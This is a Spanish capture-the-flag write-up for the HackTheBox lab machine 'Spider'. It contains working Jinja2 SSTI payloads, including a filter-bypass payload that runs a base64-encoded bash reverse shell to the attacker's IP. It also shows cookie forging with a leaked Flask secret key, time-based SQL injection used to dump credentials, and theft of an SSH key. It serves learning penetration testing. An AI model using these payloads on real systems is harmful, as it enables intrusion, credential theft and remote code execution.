HackTheBox - Spider

Lanz
Funk Lanz el
HackTheBox - Spider

Máquina Linux nivel difícil. Mucho jugueteo web e inyecciones. Server Side Template Injection (SSTI) tanto visible como blind, sensualidad con cookies y secret-key’s, SQL Injection time-based y exploraremos data web que es manipulada con XML para explotar un XML External Entity (XXE) y leer cualquier archivo de toooodo el sistema.

350spiderHTB

TL;DR (Spanish writeup)

Creada por: InfoSecJack & chivato.

A fuego con las inyecciones! (que no se malinterprete e.e)

Nos encontraremos con una web para comprar sillas 😄, podremos registrarnos e iniciar sesión, jugando con estos dos apartados principalmente encontraremos una Server Side Template Injection, inyección de templates, con ella lograremos ver los valores de configuración ({{config}}) del template que se esta usando, entre la conf veremos una Secret-Key, esto nos permitirá crear nuevas sesiones para entrar al sitio.

Algo curioso de la data que conforma la sesión es que hay un objeto que contiene los ítems que tenemos en nuestro carrito de compras. Moviendo cositas y probando otras, encontraremos que es un campo vulnerable a inyección SQL time-based, pero para lograr explotarla debemos jugar con las sesiones (ya que ahí es donde esta el campo vulnerable), por lo que usaremos una herramienta llamada flask-unsign para con ayuda de la secret-key generar y generar sesiones para cada payload.

Scripts que creamos para dumpear la base de datos.

Después de obtener toda la info importante, lograremos encontrar unas credenciales del usuario chiv, usándolas serán válidas contra la web.

Enumerando todo lo que puede hacer chiv, llegaremos a un dominio reservado únicamente para el equipo de soporte, ya que contiene un problema, el problema se llama Server Side Template Injection blind-based, con ella conseguiremos ejecutar comandos en el sistema como chiv, logrando así una Reverse Shell como él.

Dando vueltas por el sistema veremos que hay un servidor web corriendo localmente en el puerto 8080, curiosamente lo esta ejecutando el usuario root. Generaremos un Port-Fortwarding con ayuda de SSH para ver mucho mejor el servicio web.

Explorándolo tendremos únicamente un /login y un apartado para comprar cosas, pero lo único funcional es el apartado /login. Jugando con las cookies y flask-unsign, veremos que la data esta siendo interpretada en formato XML, esto nos abrirá una puerta para probar la vulnerabilidad tipo XML External Entity (XXE), finalmente veremos que es vulnerable. Con ella obtendremos accesos a los archivos del sistema, todo como el usuario root ¿qué archivo buscarías?

Clasificación de la máquina según la gentesita

Le cuesta pero va llegando.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Es un camino de verdades y mentiras, pero ¿es verdad eso?

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Encontramos servicio web siendo ejecutado por root localmente.

Reconocimiento #

Enumeración de puertos con nmap 📌

Empezaremos encontrando que puertos están abiertos en la máquina, lo haremos con ayuda de nmap:

❱ nmap -p- --open -v 10.10.10.243 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Este escaneo nos muestra:

❱ cat initScan
# Nmap 7.80 scan initiated Sat Jul 10 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.243
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.243 () Status: Up
Host: 10.10.10.243 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Sat Jul 10 25:25:25 2021 -- 1 IP address (1 host up) scanned in 74.31 seconds
Puerto Descripción
22 SSH: Nos brinda una terminal de manera segura.
80 HTTP: Nos presenta un servidor web.

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno (en este caso es medio KLK, pero es funcional para cuando tenemos muuuchos puertos

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.243
    [*] Open ports: 22,80

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80 -sC -sV 10.10.10.243 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y este escaneo nos devuelve:

❱ cat portScan
# Nmap 7.80 scan initiated Sat Jul 10 25:25:25 2021 as: nmap -p 22,80 -sC -sV -oN portScan 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 10 25:25:25 2021 -- 1 IP address (1 host up) scanned in 17.22 seconds

Tenemos algunas cositas relevantes:

Puerto Servicio Versión
22 SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80 HTTP nginx 1.14.0
  • Vemos un redirect hacia el dominio spider.htb

Agreguémoslo de una al archivo /etc/hosts:


❱ cat /etc/hosts
...
10.10.10.243  spider.htb
...

Poco más, exploremos a ver como romper esta vaina!! e.e

Enumeración #

Damos vueltas (perdidos) por el puerto 80 📌

350page80

Opa, muchas 🪑 e.e A la izquierda tenemos varios ítems, login, admin, register, etc…

En el código fuente de la web encontramos 2 cositas interesantes:

Esto me hace pensar que probablemente debamos hacer fuzzing y tengamos que bypassear el rate-limit:

Que serían las peticiones que permite enviar cada cierto tiempo con una misma IP, si mi IP envia muchas peticiones seguidas, lo más probable es que sea bloqueada para así evitar colapsar la web.

Entonces para bypassearlo le hacemos creer que el que hace las peticiones es el localhost (127.0.0.1), así no nos bloquearía. Y si se da el caso que nos bloquea, podemos pensar en algo como esto (127.0.0.1, 127.0.0.2, 127.0.0.3…)

También encontramos unas redes sociales, que pueda que no sean necesarias, pero por si algo:

Pues veamos los apartados login y register

Intentando credenciales por default no conseguimos nada contra el login, registremonos:

350page80_register

Nos redirecciona al login y genera un UUID (Identificador único universal) para nuestro usuario:

350page80_login

Nos logeamos y caemos de nuevo en todas las sillas, solo que ahora tenemos un nuevo apartado a la izquierda, User Information:

350page80_dashboardLANZ

350page80_userInformation

Nada, simplemente los datos de nuestro usuario, nombre y UUID asociado.

Si intentamos entrar al apartado Admin (que nos redireccionaría a /main) nos devuelve al index :(

Viendo las sillas, encontramos un usuario en las que se llaman BLACK CHAIR:

  • chiv, lo guardamos por si algo.

Jugando a agregar sillas a nuestra compra, si nos fijamos en el carrito hay una opción para borrar ítems:

Si validamos, hace el borrado llamando la variable remove y pasándole un numero, por ejemplo:

  • http://spider.htb/cart?remove=2

Intentando inyecciones por default no conseguimos ver algo distinto, pero podemos guardarlo en nuestras notas por si algo…

Algo curioso al estar acá fue el código fuente, en el título vemos algo llamativo:

350page80_reference_AmadoTemplate

Buscando por internet algo vulnerable sobre ese template no conseguimos nada, pero la palabra template me trajo a la cabeza otra idea, el probar sobre la variable remove payloads que exploten inyecciones tipo Server Side Template Injection.

🖥️ Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. A Pentester’s Guide to Server Side Template Injection (SSTI)

Sencillito, acá hay varios payloads de ejemplo, pero jugando con ellos tampoco vemos algo reflejado en la web 😞 (ni en los otros apartados)…

Algunos básicos:

${7*3}
{{7*3}}
<%= 7*3 %>

Donde para saber que estamos inyectando algo, tendríamos que ver el resultado de la operación en alguna parte de la web, en este caso sería 21.

Explotación #

Encontramos SSTI en apartado /register de la web 📌

En este punto decidí volver a empezar a ver si era que nos había visto algo.

Si intentamos regístranos como admin o chiv no se refleja nada distinto a lanz dentro, pero si nos registramos con una sintaxis HTML sencilla, vemos el resultado reflejado en el dashboard:

El campo username solo permite 10 caracteres, lo cual ta curioso.

350page80_register_injectHTML

Nos logeamos y encontramos:

350page80_dashboard_injectHTML_done

Se ve el 8 gigante ¿no? e.e

350page80_userInformation_injectHTML_done

Podemos inyectar HTML, pero solo se refleja en el dashboard, en el apartado /user vemos textualmente lo que escribimos…

Al tener un campo de 10 caracteres, no hay mucho para probar.

Testeando entre SQLi y SSTI, nos cambia la cara al obtener respuesta por parte del SSTI:

  • Nos registramos > Ingresamos > Vamos al dashboard > Vemos la info de nuestro usuario:

PERFECTOOOO!! Ahora nos queda ver como explotamos esto con 10 caracteres :P

Obtenemos Secret Key mediante el SSTI 📌

Siguiendo estas guías:

Nos explican la metodología para explotar un SSTI, pero además vemos una imagen donde tenemos la forma de identificar ante que template estamos (hay muuuchos tipos):

Tomada de: hacktricks y portswigger.

En uno de los ejemplos, vemos:

🗺️ The probe {{7*'7'}} would result in 49 in Twig or 7777777 in Jinja2

Si hacemos la prueba, obtenemos:

350page80_SSTI_jinja2

Listones, entonces podemos quedarnos con la idea que estamos ante el template Jinja2 (: y hacemos más pequeña nuestra investigación…

Apoyándonos de nuevo con la guía de hacktricks.xyz sobre SSTI en Jinja2, tenemos algunos payloads para probar (teniendo en cuenta nuestros 10 caracteres se reduce mucho más 🤭), entre ellos obtenemos un resultado interesante al registrarnos con:

{{config}}

350page80_SSTI_jinja2_config

<Config {
    'ENV': 'production',
    'DEBUG': False,
    'TESTING': False,
    'PROPAGATE_EXCEPTIONS': None,
    'PRESERVE_CONTEXT_ON_EXCEPTION': None,
    'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942',   
    'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
    'USE_X_SENDFILE': False,
    'SERVER_NAME': None,
    'APPLICATION_ROOT': '/',
    'SESSION_COOKIE_NAME': 'session',
    'SESSION_COOKIE_DOMAIN': False,
    'SESSION_COOKIE_PATH': None,
    'SESSION_COOKIE_HTTPONLY': True,
    'SESSION_COOKIE_SECURE': False,
    'SESSION_COOKIE_SAMESITE': None,
    'SESSION_REFRESH_EACH_REQUEST': True,
    'MAX_CONTENT_LENGTH': None,
    'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0,43200),
    'TRAP_BAD_REQUEST_ERRORS': None,
    'TRAP_HTTP_EXCEPTIONS': False,
    'EXPLAIN_TEMPLATE_LOADING': False,
    'PREFERRED_URL_SCHEME': 'http',
    'JSON_AS_ASCII': True,
    'JSON_SORT_KEYS': True,
    'JSONIFY_PRETTYPRINT_REGULAR': False,
    'JSONIFY_MIMETYPE': 'application/json',
    'TEMPLATES_AUTO_RELOAD': None,
    'MAX_COOKIE_SIZE': 4093,
    'RATELIMIT_ENABLED': True,
    'RATELIMIT_DEFAULTS_PER_METHOD': False,
    'RATELIMIT_SWALLOW_ERRORS': False,
    'RATELIMIT_HEADERS_ENABLED': False,
    'RATELIMIT_STORAGE_URL': 'memory://',
    'RATELIMIT_STRATEGY': 'fixed-window',
    'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset',
    'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining',
    'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit',
    'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After',
    'UPLOAD_FOLDER': 'static/uploads'
}>

Vemos una Secret Key :o y que RATE-LIMIT esta habilitado.

Lo que se me ocurrió es que debamos usar la secret key para generar una cookie “firmada” que nos permita entrar al apartado /main (admin), pero lo extraño es que nuestra cookie original no esta “firmada”, ni la data que contiene nos permite “regenerar” una con algún ítem como “admin: True“…

Tomamos la cookie al estar logeados y la pegamos en jwt.io, ahí vemos la estructura de nuestra cookie:

350google_jwtIO_cookie_unsigned

Nos indica que nuestro token no parece ser un JSON Web Token, lo que me dejo :O PEEERO, al menos vemos la estructura que esta detrás del token, nuestro carrito de compras y el uuid asociado.

Haciendo algunas pruebas no llegamos a nada y siempre obtenemos que nuestro token no es válido…

Encontramos SQLI basada en tiempo 📌

Buscando que hacer con una Secret Key o como generar tokens con ella, encontré muuuchos recursos, pero caí en dos súper interesantes:

Lo interesante de este último es una herramienta que usa para generar tokens de sesión sin firmar, les dejo el repo:

Listones, pues instalémonos la herramienta y démosle:

❱ flask-unsign --unsign --server http://spider.htb

350bash_flaskUnsign_server

Bien, siguiendo la imagen de su uso, ahora ejecutaríamos (arreglando el apartado cookie para que tome también el uuid y agregando un ítem a nuestro carrito de compras para ver como lo agrega):

350page80_additem_cart

350google_jwtIO_itemincart

Ahora ejecutamos:

❱ flask-unsign --sign --cookie "{'cart_items':['4'],'uuid':'0f4f96a2-0807-4874-800c-558bda2e2ffb'}" --secret "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
eyJjYXJ0X2l0ZW1zIjpbIjQiXSwidXVpZCI6IjBmNGY5NmEyLTA4MDctNDg3NC04MDBjLTU1OGJkYTJlMmZmYiJ9.YOyNuw.8VsSgPzI7QD_gblCi-drNa_qnEI

Nos genera la cookie, pues (para mostrarles) usemos Burp, borramos la cookie actual y la remplazamos por la nueva, para validar si es funcional hacemos una petición hacia /cart:

350burp_cart_testNEWcookie_bad

350burp_cart_testNEWcookie_done

Perfectísimo, cambiando la última letra de la cookie nos muestra un error interno y colocando la cookie buena obtenemos un OK, así que la herramienta es funcional, ahora nos queda ver como podemos jugar con ella y sobre todo saber que debemos generar en la cookie :)

Pues tenemos dos campos, los dos son interesantes, porque según que numero haya en cart_items nos devuelve algo en /cart (o sea esta extrayendo algo de algún lado) y por otro lado uuid podemos pensar que nos refleja su info en el apartado /user

Entonces podemos probar si encontramos alguna vulnerabilidad relacionada con inyecciones en alguno de los dos (o los dos)…

Creándonos un script que tome un archivo de payloads (payload.txt), genere el token de sesión y lo valide contra /cart logramos encontrar cositas…

Primero lo probé con payloads de SSTI, pero ningún campo nos mostró nada distinto.

Después pasé a probar payloads de SQLI y en este caso si encontramos algo al intentar con los de SQLI time-based, les dejo el script:

tryingPayloads.py

Entonces, tomamos cada línea, si la petición genera un timeout de 3 segundos, sabemos que ese payload esta generando una inyección SQL basada en tiempo, por lo tanto será nuestro punto de partida para crear las consultas maliciosas:

350bash_tryingPayloads_SQLItime_found

Esos son algunos de los payloads que nos dan resultado, nos quedaremos con 1 or sleep(5)#.

Pues ahora veamos como explotar esta inyección SQL para extraer info de las bases de datos (:

Probando y probando finalmente encontramos una manera, empezaremos extrayendo que bases de datos existen en el servidor SQL, algunos recursos pa cheeeeck:


Extraemos las bases de datos 🩺

Esta claro que todo esto se podria haber hecho en un solo script, pero bueno, la loquera… Les queda de tarea :P

Jugando de nuevo con Python conseguimos extraer todas las bases de datos que existen en el sistema:

dbname.py

👀

❱ python3 dbname.py 
[+] Database [0]: information_schema
[+] Database [1]: mysql
[+] Database [2]: performance_schema
[+] Database [3]: shop
[+] Database [4]: sys

Pererererfecto, existen 5 bases de datos, las comunes y una distinta llamada shop, pues sigamos nuestro camino enfocado en ella.

Extraemos las tablas de alguna base de datos 🩺

tables.py

❱ python3 tables.py -d shop
[+] Table [0]: items
[+] Table [1]: messages
[+] Table [2]: support
[+] Table [3]: users

Solo 4 tablas, enfoquémonos principalmente en users.

Extraemos las columnas de alguna tabla 🩺

columns.py

❱ python3 columns.py -d shop -t users
[*] Tabla 'users' de la base de datos 'shop'
[+] Column [0]: id
[+] Column [1]: name
[+] Column [2]: password
[+] Column [3]: uuid

Opa, dos campos interesantes, name y password, pues enumerémoslos.

Dumpeamos la data de alguna columna 🩺

dump_data.py

Columna name:

❱ python3 dump_data.py -d shop -t users -c name
[*] Extrayendo columna 'name' de la tabla 'users' en la base de datos 'shop'
[+] name [0]: chiv
[+] name [1]: lanz

Bien, ahora veamos las contraseñas…

Columna password:

❱ python3 dump_data.py -d shop -t users -c password
[*] Extrayendo columna 'password' de la tabla 'users' en la base de datos 'shop'
[+] password [0]: ch1VW4sHERE7331
[+] password [1]: hola

:O Vemos la contraseña de chiv en texto plano (y la mía e.e). Tenemos dos espacios para probarlas, en la web o con SSH

❱ ssh chiv@spider.htb
chiv@spider.htb: Permission denied (publickey).

F, para probar con la web necesitamos el uuid de chiv, extraigámoslo:

Para hacerlo más rapido, cambiamos nuestro diccionario a:

dic_letters = "-" + string.hexdigits + "£"

Columna uuid:

❱ python3 dump_data.py -d shop -t users -c uuid
[*] Extrayendo columna 'uuid' de la tabla 'users' en la base de datos 'shop'
[+] uuid [0]: 129f60ea-30cf-4065-afb9-6be45ad38b73

Puuuuuuuuueeeeeeesssss si intentamos logearnos con las credenciales obtenidas:

Opa, tamos dentro papaiiiiiiii y contamos con algunos ítems a probar, si damos clic en el botón messages, caemos acá:

Jmm, había pensado que se parecía a un dominio (se parece :P, pero no lo es) pero si intentamos colocar esa ruta junto a http://spider.htb obtenemos respuesta:

350page80_unfinishedPATH_asCHIV

Un portal que aún no ha sido terminado… Lo cual es interesante porque puede tener fallitas por ahí, pues exploremos a ver.

Explorando apartado para enviar tickets 📌

Algo curioso al probar cositas fueron las respuestas con cadenas que contuvieran alguno de estos caracteres: {}'._, por ejemplo:

(Todo en el campo contact number or email).

Probando {{config}} obtenemos:

Why would you need ‘{{‘ or ‘}}’ in a contact value?

Jmmm, no sé, ¿para jaqui-arte? 🤼‍♀️

(Intentando bypassear este filtro lo logramos, pero no llegamos a que interprete {{config}} 😓)

Probando los caracteres ', _ y .:

> Hmmm, you seem to have hit a our WAF with the following chars: ' 
> Hmmm, you seem to have hit a our WAF with the following chars: _
> Hmmm, you seem to have hit a our WAF with the following chars: .

Todo nos lo bloquea el WAF (Web Application Firewall), pero podemos intentar bypassear estos filtros a ver si tenemos suerte.

Sabiendo que ya explotamos un SSTI y que seguimos en la web, podemos pensar que el apartado extraño (supportportal) sigue corriendo sobre Jinja2 y que podría ser vulnerable a SSTI.

Además el backend esta bloqueando caracteres que son usados comunmente por un template, así que podemos reforzar la idea que debamos explotar otro SSTI, pero ahora bypasseando algunos filtros…

Burlando backend para conseguir RCE explotando SSTI ⛷️

Jugando de nuevo con nuestros recursos llenos de payloads, encontramos algo básicamente diciéndonos: “Toma, explótalo YAAAAAA!”:

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}

Tomado de: hacktricks.xyz - SSTI Jinja2.

Es muy sencillo lo que hace, primero bypassea el carácter _ pasándolo a hexadecimal \x5f, toma las clases del sistema e importa entre ellas “os”, con ella ejecuta el echo XYZ | base64 -d | bash, que seria tomar la cadena en base64 (nuestro payload), decodificarlo e interpretarlo.

Excelente post para profundizar en SSTI, además esta escrito por chiv, uno de los creadores de esta máquina:

Bien, pues creemos nuestro payload para obtener una reverse Shell y probemos:

❱ echo "bash -i >& /dev/tcp/10.10.14.146/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQzMyAwPiYxCg==

La agregamos al payload:

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQzMyAwPiYxCg== | base64 -d | bash")["read"]() %} a {% endwith %}

Nos ponemos en escucha:

❱ nc -lvp 4433

Y ahora hacemos la petición:

350page80_ticket_rce_payload

Y si revisamos nuestro listeneeeeeeeeeeeeeeeeer…

350bash_chivRevSH

OPAAAA, obtenemos nuestra reverse Shell, y estamos en el sistema como chiv, perfectísiiiiimo.

En el directorio /home de chiv encontramos su llave privada SSH, la tomamos, nos la pasamos a nuestro sistema y le damos los permisos necesarios, así podemos obtener una sesión SSH con tranquilidad y dejar la Reverse Shell (:

❱ ssh chiv@10.10.10.243 -i chiv_priv_rsa 
...
chiv@spider:~$

Listones, ahora sí, veamos como escalar el monte.

Escalada de privilegios #

Enumerando los archivos que conforman la web, encontramos app.py que sería el que controla todo. En su contenido encontramos las credenciales del usuario chivato para el servicio MySQL (la base de datos):

350bash_chivSH_credsMySQL

Podemos guardarlas por si algo…

Listando los servicios activos en la máquina encontramos el puerto 8080 siendo usado localmente:

chiv@spider:/var/www$ netstat -ln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
...

Si jugamos con cURL logramos ver que nos responde y además parece una web activa:

chiv@spider:/var/www$ curl http://localhost:8080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login">/login</a>.  If not click the link.

Intenta redirigirnos a /login, veamos que hay en él:

chiv@spider:/var/www$ curl -L http://localhost:8080
<link href='https://fonts.googleapis.com/css?family=Open+Sans:700,600' rel='stylesheet' type='text/css'>
<link href='/static/css/login.css' rel='stylesheet' type='text/css'>

<form method="post">
<div class="box">
<h1> Beta Login </h1>

<input type="text" name="username" placeholder="username" onFocus="field_focus(this, 'email');" onblur="field_blur(this, 'email');" class="email" />
<input type="hidden" id="version" name="version" value="1.0.0">
  
 <input class="btn" type="submit" value="Sign In">
  
</div> <!-- End Box -->
  
</form>

<p>Forgot your password? <u style="color:#f1c40f;">Click Here!</u></p>
  
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script>
<script src="/static/js/login.js" type="text/javascript"></script>

Jmmmmmm, solo hay un campo llamado username, una versión escondida (que buscando no hay nada) y un link (que no es link) hacia una contraseña olvidada…

Pues se ve interesante, juguemos con un port-fortwarding para indicarle que nos replique el contenido de ese puerto en un puerto nuestro, en este caso hagámoslo en el puerto 8080:

Enumeramos puerto 8080 del localhost mediante un port-fortwarding 📌

Validamos que no haya nada sobre ese puerto:

❱ lsof -i:8080

Y efectuamos el port-fortwarding:

❱ ssh chiv@10.10.10.243 -L 8080:localhost:8080 -i chiv_priv_rsa

Le dice que tome el puerto 8080 del localhost y lo replique en nuestro puerto 8080, el resto es autenticación.

Validamos si hay contenido ahora en el puerto:

❱ lsof -i:8080
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
ssh     377183 root    4u  IPv6 1617711      0t0  TCP localhost:http-alt (LISTEN)
ssh     377183 root    5u  IPv4 1617712      0t0  TCP localhost:http-alt (LISTEN)

Perfecto, pues juguemos.

350pagelocalhost8080_login

Bien, lo que ya sabíamos que contenía pero ahora con un formato lindo (:

Lo raro es que dice ser un login, pero solo pide un campo, escribiendo lanz y dando clic en Sign In caemos acá:

350pagelocalhost8080_site1

350pagelocalhost8080_site2

Mucho blancoooooooooooo

La única interacción en ese apartado es el botón logout (que nos termina la sesión como lanz y volvemos al /login), de resto no podemos hacer nada más ahí…

Probando cositas y cositas no conseguí nada, volví a la sesión SSH y enumeré de nuevo a ver si había algo relacionado con ese sitio web, lo curioso es que sí, hay cositas:

chiv@spider:/var/www$ ls -la
total 20
drwxr-xr-x  5 root root     4096 May 18 00:23 .
drwxr-xr-x 14 root root     4096 May 18 00:23 ..
drw-r--r--  6 root www-data 4096 May 18 00:23 game
drwxr-xr-x  2 root root     4096 May 18 00:23 html
drwxr-xr-x  5 chiv chiv     4096 Jul 13 20:36 webapp

En la ruta /var/www tenemos los servicios web webapp (la que ya explotamos, la tienda de sillas e.e) y html que muestra la página por default de nginx.

Peeero (como sé que no están ciegos (¿o si? 😁)) hay otra carpeta llamada game, de la que root es propietario y a la que el usuario www-data tiene acceso, si nosotros intentamos listar su contenido logramos ver que archivos hay, pero a la hora de querer ver cada uno de ellos nos indica que no tenemos permisos:

chiv@spider:/var/www$ ls -la game/
ls: cannot access 'game/templates': Permission denied
ls: cannot access 'game/__MACOSX': Permission denied
ls: cannot access 'game/__pycache__': Permission denied
ls: cannot access 'game/wsgi.py': Permission denied
ls: cannot access 'game/..': Permission denied
ls: cannot access 'game/.': Permission denied
ls: cannot access 'game/app.py': Permission denied
ls: cannot access 'game/game.ini': Permission denied
ls: cannot access 'game/static': Permission denied
total 0
d????????? ? ? ? ?            ? .
d????????? ? ? ? ?            ? ..
d????????? ? ? ? ?            ? __MACOSX
d????????? ? ? ? ?            ? __pycache__
-????????? ? ? ? ?            ? app.py
-????????? ? ? ? ?            ? game.ini
d????????? ? ? ? ?            ? static
d????????? ? ? ? ?            ? templates
-????????? ? ? ? ?            ? wsgi.py
chiv@spider:/var/www$ cat game/*
cat: game/__MACOSX: Permission denied
cat: game/__pycache__: Permission denied
cat: game/app.py: Permission denied
cat: game/game.ini: Permission denied
cat: game/static: Permission denied
cat: game/templates: Permission denied
cat: game/wsgi.py: Permission denied

Lo llamativo es que tiene los mismos (la estructura) archivos que webapp, por lo que podemos pensar que el sitio web que esta sirviendo en el puerto 8080 este relacionado con estos fuentes (:

Profundizando un toquesito más, confirmamos lo anterior. Si buscamos los demonios del sistema, encontramos los dos que nos representan:

chiv@spider:/etc/systemd/system$ cat /etc/systemd/system/webapp.service
[Unit]
Description=Our brand new furniture store!
After=network.target mysql.service

[Service]
User=chiv
Group=www-data
WorkingDirectory=/var/www/webapp/
ExecStart=/usr/local/bin/uwsgi --ini webapp.ini

[Install]
WantedBy=multi-user.target

Donde vemos que el usuario propietario es chiv, la ruta donde están los archivos están en /var/www/webapp/ y el servicio web es ejecutado con el binario uwsgi por medio de un archivo .ini (sin ruta absoluta, pero supongo que no puede ser cambiada, ya que debe tomar el que esté en la ruta webapp).

Rápidamente miramos el archivo webapp.ini:

chiv@spider:/var/www/webapp$ cat webapp.ini 
[uwsgi]
module = app:app

master = true
processes = 5

socket = /var/www/webapp/webapp.sock
chmod-socket = 660
vacuum = true

die-on-term = true

Instrucciones que entiende el binario uwsgi

YYYYYY el juegazo:

chiv@spider:/etc/systemd/system$ cat /etc/systemd/system/game.service 
[Unit]
Description=Beta clicker game, a bit shit
After=network.target

[Service]
User=root
Group=www-data
WorkingDirectory=/var/www/game/
ExecStart=/usr/local/bin/uwsgi --ini game.ini

[Install]
WantedBy=multi-user.target

Beta clicker game, un poco mierda jajaj, linda descripción.

(El servicio se llama Beta… y la web se llama Beta Login)

El propietario es root, los archivos están en la ruta /var/www/game/ y esta siendo ejecutado con ayuda del archivo game.ini (al cual no tenemos acceso, pero podemos imaginar su contenido según el archivo webapp.ini).

Así que confirmamos que la web esta siendo ejecutada por el usuario root.

ESTOY fuuuuuuuuuuuuuuuuuuuuull perdido, lo más probable es que debamos inyectar algo en el campo username, pero de lo que intento no logro nada, cambio y fuera, seguiré reportando.

Sigo perdido… Cambio y fuera, decayendo.

Busquemos ayuda mejor (: cambio y fuera.

Volvemos a jugar con flask-unsign para encontrar estructura XML 📌

La ayuda me indico que volviera a jugar con flask-unsign y pues si, no lo había pensado a pesar de haber visto la cookie…

Pues veamos:

❱ COOKIE=.eJxNjLtugzAARX-l8twBU5oBKQvygzqFyAbbwGbLUSA8SgNqCVH-vY2USh2Pzrn3Crql70B4BU8WhEDilDi85LxlSuh5UD3UB51cbFw1RpIgp2PkJES8EIlC4l3ieuf6t1VmM_r1QybTaE_GWJyi6u7vXHkd4tox7uGgIvXe0nROdd0oKM9l66jT6tO9VK3Gr1Ppe9BQVqh_f489F_6y0YhR47PCxoqbFgc5YtOhO15EPzfKX6Ck7uuv52t31qrODIkGu9ZJ4o1-eUrF7nu7BbdnMH40wzyB0Lv9AJxnVf8.YO5Anw.7XeFrUdE2369dARShP0kHmS5axA
❱ flask-unsign --unsign --cookie $COOKIE
[*] Session decodes to: {'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bGFuejwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[!] Failed to find secret key after 37610 attempts.31

Obtenemos el formato de la cookie:

{
  'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bGFuejwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 
  'points': 0
}

Jmmm, lxml, procesador de peticiones XML con HTML… Interesannnnnnteeeeeeee… También vemos lo que parecer ser una cadena en base64, intentemos decodearla (ojalá sea b64):

❱ echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bGFuejwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>lanz</username>
        <is_admin>0</is_admin>
    </data>
</root>

